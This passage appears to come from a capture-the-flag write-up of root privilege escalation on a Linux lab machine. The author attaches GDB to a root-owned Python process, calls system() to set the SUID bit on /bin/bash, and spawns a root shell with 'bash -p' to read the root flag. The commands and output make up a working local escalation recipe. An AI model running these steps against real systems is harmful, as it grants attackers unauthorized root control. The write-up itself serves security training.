GPLv3+: GNU GPL version 3 or later This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: . Find the GDB manual and other documentation resources online at: . For help, type "help". Type "apropos word" to search for commands related to "word". Attaching to process 1572 Reading symbols from /usr/lib/postfix/sbin/master... (No debugging symbols found in /usr/lib/postfix/sbin/master) Reading symbols from /lib64/ld-linux-x86-64.so.2... Reading symbols from /usr/lib/debug/.build-id/45/87364908de169dec62ffa538170118c1c3a078.debug... 0x00007f1bce01442a in _start () from /lib64/ld-linux-x86-64.so.2 (gdb) I then tried to escalate by setting the SUID bits (see https://www.hackingarticles.in/linux-privilege-escalation-using-suid-binaries/): (gdb) call (void)system("chmod u+s /bin/bash") No symbol "system" in current context. But wasn’t able to, because there were no debug symbols. Python usually has them included: $ ps -U root -u root u | grep python root 719 0.0 0.8 26896 17940 ? Ss 07:10 0:00 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers Attaching GDB allowed for setting the SUID bits for bash using the process running as root: $ gdb -p 719 (gdb) call (void)system("chmod u+s /bin/bash") [Detaching after vfork from child process 64874] Upon exiting GDB, I was able to execute bash as root: $ bash -p bash-5.0# whoami root Inspecting root’s home directory yielded a few suspicious files, which is where the root flag could be found: # ls /root/ check_cron.sh root.txt service_check.sh # cat /root/root.txt b2107f909ec0fd1c66f1c9a1240c93ee